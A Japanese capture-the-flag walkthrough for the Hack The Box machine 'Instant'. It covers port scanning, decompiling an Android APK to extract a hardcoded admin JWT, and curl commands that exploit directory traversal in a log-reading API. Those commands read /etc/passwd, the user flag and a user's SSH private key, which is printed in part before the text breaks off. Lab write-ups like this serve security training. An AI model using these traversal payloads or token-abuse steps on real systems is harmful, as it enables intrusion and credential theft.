- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査
- Android端末向けのアプリファイル(instant.apk)のダウンロード
- Apktoolを用いたAndroid端末向けのアプリファイル(instant.apk)の解析
- 名前解決のためのhostsファイル更新(2回目)
- APIの実行によるユーザー登録及びログイン
- Admin権限の認証情報取得
- ディレクトリトラバーサル攻撃による一般ユーザー用フラグファイル取得
- ディレクトリトラバーサル攻撃によるSSHの公開鍵と秘密鍵取得
- サーバの設定及びプロセス調査
- パスワードハッシュ値の解析
- Solar-PuTTYのファイル調査
- 特権昇格(suコマンドの実行)
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Mediumのマシンである「Instant」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新(1回目)
(3) Webアクセスできるファイル/ディレクトリ調査
(4) Android端末向けのアプリファイル(instant.apk)のダウンロード
(5) Apktoolを用いたAndroid端末向けのアプリファイル(instant.apk)の解析
(6) 名前解決のためのhostsファイル更新(2回目)
(7) APIの実行によるユーザー登録及びログイン
(8) Admin権限の認証情報取得
(9) ディレクトリトラバーサル攻撃による一般ユーザー用フラグファイル取得
(10) ディレクトリトラバーサル攻撃によるSSHの公開鍵と秘密鍵取得
(11) サーバの設定及びプロセス調査
(12) パスワードハッシュ値の解析
(13) Solar-PuTTYのファイル調査
(14) 特権昇格(suコマンドの実行)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)が応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.37
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-30 23:31 JST
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.35s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 214.09 ms 10.10.16.1
2 431.63 ms instant.htb (10.10.11.37)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.27 seconds名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.37/」にアクセスすると、「http://instant.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.37 instant.htb' | sudo tee -a /etc/hosts
(3) ブラウザを用いて「http://instant.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://instant.htb/js/scripts.js」や「http://instant.htb/index.html」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ feroxbuster -u http://instant.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 9l 28w 314c http://instant.htb/downloads => http://instant.htb/downloads/
200 GET 49l 241w 13102c http://instant.htb/img/logo.png
200 GET 73l 165w 2022c http://instant.htb/js/scripts.js
200 GET 337l 1155w 16379c http://instant.htb/index.html
301 GET 9l 28w 315c http://instant.htb/javascript => http://instant.htb/javascript/
200 GET 195l 1097w 116351c http://instant.htb/img/blog-2.jpg
ーーー(省略)ーーー
(2) GoBusterを用いてアクセスできるURLを確認すると、URLへのアクセス結果で特に気になる内容はない。
$ gobuster dir -u http://instant.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o instant_80.txt
ーーー(省略)ーーー
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/css (Status: 301) [Size: 308] [--> http://instant.htb/css/]
/downloads (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
/img (Status: 301) [Size: 308] [--> http://instant.htb/img/]
/javascript (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
/js (Status: 301) [Size: 307] [--> http://instant.htb/js/]
/server-status (Status: 403) [Size: 276]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認すると、「http://instant.htb/downloads/」や「http://instant.htb/js/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ sudo dirsearch -u http://instant.htb/
ーーー(省略)ーーー
[23:58:52] 301 - 314B - /downloads -> http://instant.htb/downloads/
[23:58:52] 200 - 16B - /downloads/
[23:59:02] 301 - 308B - /img -> http://instant.htb/img/
[23:59:04] 301 - 315B - /javascript -> http://instant.htb/javascript/
[23:59:05] 200 - 16B - /js/
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認すると、URLへのアクセス結果で特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://instant.htb/FUZZ" -ic
ーーー(省略)ーーー
img [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 416ms]
[Status: 200, Size: 16379, Words: 5429, Lines: 337, Duration: 415ms]
downloads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 220ms]
css [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 201ms]
js [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 276ms]
javascript [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 214ms]
[Status: 200, Size: 16379, Words: 5429, Lines: 337, Duration: 218ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 226ms]
ーーー(省略)ーーー
Android端末向けのアプリファイル(instant.apk)のダウンロード
(1) ブラウザを用いて「http://instant.htb/」にアクセスする。右上の「Download Now!」をクリックすると、「instant.apk」がダウンロードされる。
(2) fileコマンドでダウンロードしたファイル(instant.apk)のファイルタイプを確認すると、Android package (APK)であることが分かる。
$ file instant.apk
instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing BlockApktoolを用いたAndroid端末向けのアプリファイル(instant.apk)の解析
(1) instant.apkを解析するためにApktoolをインストールする。
$ sudo apt-get update
$ sudo apt install apktool -y
(2) instant.apkファイルをデコードする。
$ apktool d instant.apk -o Instant
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
(3) instant.apkファイルの中にあるファイルの一覧を確認する。APKファイルの構成は「https://gazee.net/develop/apk-structure/#google_vignette」をご確認ください。
$ cd Instant
$ ls -l
合計 40
-rw-rw-r-- 1 kali kali 3586 5月 1 22:39 AndroidManifest.xml
drwxrwxr-x 3 kali kali 4096 5月 1 22:39 META-INF
-rw-rw-r-- 1 kali kali 2638 5月 1 22:39 apktool.yml
drwxrwxr-x 3 kali kali 4096 5月 1 22:39 assets
drwxrwxr-x 8 kali kali 4096 5月 1 22:39 kotlin
drwxrwxr-x 6 kali kali 4096 5月 1 22:39 lib
drwxrwxr-x 3 kali kali 4096 5月 1 22:39 original
drwxrwxr-x 140 kali kali 4096 5月 1 22:39 res
drwxrwxr-x 11 kali kali 4096 5月 1 22:39 smali
drwxrwxr-x 3 kali kali 4096 5月 1 22:39 unknown
(4) instant.apkファイルの中にあるファイルで「instant.htb」という文字列を含むファイルを確認すると、「./res/xml/network_security_config.xml」という設定ファイルがあることが分かる。
$ find ./ -type f | xargs grep -n 'instant.htb'
./smali/com/instantlabs/instant/TransactionActivity$2.smali:170: const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
./smali/com/instantlabs/instant/ProfileActivity.smali:134: const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/TransactionActivity.smali:103: const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
./smali/com/instantlabs/instant/AdminActivities.smali:29: const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/RegisterActivity.smali:78: const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
./smali/com/instantlabs/instant/LoginActivity.smali:92: const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
./res/layout/activity_forgot_password.xml:6: <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
./res/xml/network_security_config.xml:4: <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
./res/xml/network_security_config.xml:5: <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
(5) 「./res/xml/network_security_config.xml」の内容を確認すると、「mywalletv1.instant.htb」と「swagger-ui.instant.htb」というサブドメインがあることが分かる。
$ cat res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb</domain>
</domain-config>
</network-security-config>名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.37 mywalletv1.instant.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.37 swagger-ui.instant.htb' | sudo tee -a /etc/hosts
(2) ブラウザを用いて「http://mywalletv1.instant.htb/」にアクセスすると、HTTPステータスコードの404 Not Foundのページが表示される。。
(3) ブラウザを用いて「http://swagger-ui.instant.htb/」にアクセスすると、Webページが表示される。
(4) 現在の権限で実行できるAPIを確認すると、以下の通りです。
| API名 | 実行可否 |
|---|---|
| /api/v1/admin/add/user | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/list/users | 実行不可(HTTPステータスコード 401) |
| /api/v1/login | 実行可能 |
| /api/v1/register | 実行可能 |
| /api/v1/view/profile | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/read/log | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/view/logs | 実行不可(HTTPステータスコード 401) |
| /api/v1/confirm/pin | 実行不可(HTTPステータスコード 401) |
| /api/v1/initiate/transaction | 実行不可(HTTPステータスコード 401) |
| /api/v1/view/transactions | 実行不可(HTTPステータスコード 401) |
APIの実行によるユーザー登録及びログイン
(1) ブラウザを用いて「http://swagger-ui.instant.htb/」にアクセスすると、Webページが表示される。
(2) 「/api/v1/admin/list/users」を実行してデータベース内のすべてのユーザー一覧を確認するために、「/api/v1/admin/list/users」の中にある「Execute」をクリックする。
(3) HTTPのステータスコード401がレスポンスされたため、実行権限がないことが分かる。
(4) 「/api/v1/register」を実行してユーザー登録するために、「/api/v1/register」に以下のパラメータを入力して「Execute」をクリックする。
【パラメータの値】
{
"email": "test12345@test.com",
"password": "pass",
"pin": "pass",
"username": "test12345"
}
(5) 「Pin Needs To Be 5 Digits!」というメッセージがレスポンスされたため、Pinが5桁である必要があることが分かる。
(6) 参考までに、「/api/v1/register」の下部にレスポンスデータの一覧が表示されており、「Pin Needs To Be 5 Digits!」はHTTPステータスコード203でレスポンスされることが分かる。
(7) 「/api/v1/register」を実行してユーザー登録するために、再度「/api/v1/register」に以下のパラメータを入力して「Execute」をクリックする。
【パラメータの値】
{
"email": "test12345@test.com",
"password": "password",
"pin": "12345",
"username": "test12345"
}
(8) 「User Registered! Login Now!」というメッセージが表示され、ユーザーが登録される。
(9) 「/api/v1/login」を実行してログインするために、「/api/v1/login」に以下のパラメータを入力して「Execute」をクリックする。
【パラメータの値】
{
"password": "password",
"username": "test12345"
}
(10) ログインに成功しHTTPのステータスコード201、及びアクセストークンがレスポンスされる。
(11) 右上部の「Authorize」をクリックする。
(12) Value値に上記(10)で取得したアクセストークンの値を入力して、「Authorize」をクリックする。
(13) ログインに成功したため、「Close」をクリックする。
(14) ログインした一般ユーザー権限で実行できるAPIを確認すると、ログイン前の結果と変わらなかった。そのため、他の認証情報が必要であると推測できる。
| API名 | 実行可否 |
|---|---|
| /api/v1/admin/add/user | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/list/users | 実行不可(HTTPステータスコード 401) |
| /api/v1/login | 実行可能 |
| /api/v1/register | 実行可能 |
| /api/v1/view/profile | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/read/log | 実行不可(HTTPステータスコード 401) |
| /api/v1/admin/view/logs | 実行不可(HTTPステータスコード 401) |
| /api/v1/confirm/pin | 実行不可(HTTPステータスコード 401) |
| /api/v1/initiate/transaction | 実行不可(HTTPステータスコード 401) |
| /api/v1/view/transactions | 実行不可(HTTPステータスコード 401) |
Admin権限の認証情報取得
(1) instant.apkを解析するためにJADXをインストールする。
$ sudo apt -y install jadx
(2) instant.apkファイルをデコードする。
$ jadx -d /home/kali/Downloads/jadx_instant /home/kali/Downloads/instant.apk
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 2
(3) instant.apkファイルの中にあるAdminActivities.javaの内容を確認すると、Admin権限の認証を確認できる。
$ cat /home/kali/Downloads/jadx_instant/sources/com/instantlabs/instant/AdminActivities.java
package com.instantlabs.instant;
import com.google.gson.JsonParser;
import com.google.gson.JsonSyntaxException;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes.dex */
public class AdminActivities {
private String TestAdminAuthorization() {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
static final /* synthetic */ boolean $assertionsDisabled = false;
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
System.out.println("Error Here : " + iOException.getMessage());
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
try {
System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
} catch (JsonSyntaxException e) {
System.out.println("Error Here : " + e.getMessage());
}
}
}
});
return "Done";
}
}
(4) 取得したAdmin権限の認証情報をBASE64でデコードすると、JWT(JSON Web Token)であることが分かる。
$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | base64 -d
{"alg":"HS256","typ":"JWT"}base64: 無効な入力
(5) 取得したAdmin権限の認証情報の「.」区切りでそれぞれの値をBASE64でデコードすると、それぞれの値を確認できる。
$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}
$ echo "eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ" | base64 -d
{"id":1,"role":"Admin","walId":"f0eca6e5-783a-471d-9d8f-0162cbc900db","exp":33259303656}
$ echo "v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | base64 -d
進家
J
┫Q夛帆誓仆base64: 無効な入力
(6) 「https://dinochiesa.github.io/jwt/」にアクセスし、取得したAdmin権限の認証情報を入力することでデコードできる。
(7) Value値に上記(3)で取得したアクセストークンの値を入力して、「Authorize」をクリックする。
(8) ログインに成功したため、「Close」をクリックする。
(9) 全てのAPIの実行可否を確認すると、HTTPのステータスコード401がレスポンスされなかったため実行権限があることが分かる。
| API名 | 実行可否 |
|---|---|
| /api/v1/admin/add/user | 実行可能 |
| /api/v1/admin/list/users | 実行可能 |
| /api/v1/login | 実行可能 |
| /api/v1/register | 実行可能 |
| /api/v1/view/profile | 実行可能 |
| /api/v1/admin/read/log | 実行可能 |
| /api/v1/admin/view/logs | 実行可能 |
| /api/v1/confirm/pin | 実行可能(しかし、HTTPステータスコード 403) |
| /api/v1/initiate/transaction | 実行可能(しかし、HTTPステータスコード 500) |
| /api/v1/view/transactions | 実行可能(しかし、HTTPステータスコード 404) |
ディレクトリトラバーサル攻撃による一般ユーザー用フラグファイル取得
(1) 「/api/v1/admin/read/log」のAPIで任意のファイルを読み込んでいることが分かるため、ディレクトリトラバーサル攻撃が成功するか確認する。「/api/v1/admin/read/log」の箇所のCurl欄のcurlコマンドの内容を確認する。
(2) 確認したcurlコマンドを実行し、正常に実行できることを確認する。
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}
(3) 「../../../etc/passwd」を指定して、/etc/passwdファイルの内容を出力されたため、ディレクトリトラバーサル攻撃ができることが分かる。
また、shirohigeユーザー用のディレクトリとして/home/shirohigeがあることが分かる。
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
"/home/shirohige/logs/../../../etc/passwd": [
"root:x:0:0:root:/root:/bin/bash\n",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
"sys:x:3:3:sys:/dev:/usr/sbin/nologin\n",
"sync:x:4:65534:sync:/bin:/bin/sync\n",
"games:x:5:60:games:/usr/games:/usr/sbin/nologin\n",
"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n",
"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n",
"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n",
"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n",
"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n",
"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n",
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n",
"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n",
"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n",
"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n",
"_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n",
"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n",
"systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n",
"systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n",
"dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n",
"messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n",
"systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n",
"pollinate:x:102:1::/var/cache/pollinate:/bin/false\n",
"polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n",
"usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n",
"sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n",
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
"_laurel:x:999:990::/var/log/laurel:/bin/false\n"
],
"Status": 201
}
(4) 一般ユーザー用のフラグファイル(/home/shirohige/user.txt)の内容を確認する。
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/user.txt" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
"/home/shirohige/logs/../../../home/shirohige/user.txt": [
"70403e995a4192f8c72371202566d428\n"
],
"Status": 201
}ディレクトリトラバーサル攻撃によるSSHの公開鍵と秘密鍵取得
(1) shirohigeユーザーでSSHログインするために、SSHの公開鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得できることを確認する。
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/authorized_keys" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
"/home/shirohige/logs/../../../home/shirohige/.ssh/authorized_keys": [
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClue2VqWadlZxNVnSyQg3b4+mqvjGNiAitnJnN31i0ka6//DcZbwGfBDW/OHcEPLGEvdYsDeM+eRsHyPiW5Gs58c2MryUZ584xi1j9PmETRV4e/ve4Q4D8Gh5od0AaFC4ACwOPwC/LXJAxkNXfU8dwYQO7/R1T2MaaGNd9LvSB95ukgjeOz06YpdAAVzZPmT/nEv7UwedkGJCoq+NumG56qnL2ANp2yIC8q04DwjqGkMMtlqVqT1GCL4GwW8GyfPbji4IFjyO5ZmvOZ7xMbk2nooiDW11nVypEvuU1UyCjsB3BAJWtSEHEq9MQmYjNH/ij7/D2eMnf5YW5oxsHM6w0ICddvUyTRqTjaA0upytia6lR6k3VC5k8vvEBsM1grY4IzHCzesU8eCOFupY9KMGULuRoFkWptQ4DntJk+olj34XSO21arEvGvmu0vXkk1ob6sN+RGaYzNsavIJGLA9z/8AU6ry/MT1eOJdnY/+Mn8RdqG5ov0DZl/1gwtptSAYM= shirohige@instant\n"
],
"Status": 201
}
(2) SSHの秘密鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得する。
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/id_rsa" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
"/home/shirohige/logs/../../../home/shirohige/.ssh/id_rsa": [
"-----BEGIN OPENSSH PRIVATE KEY-----\n",
"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\n",
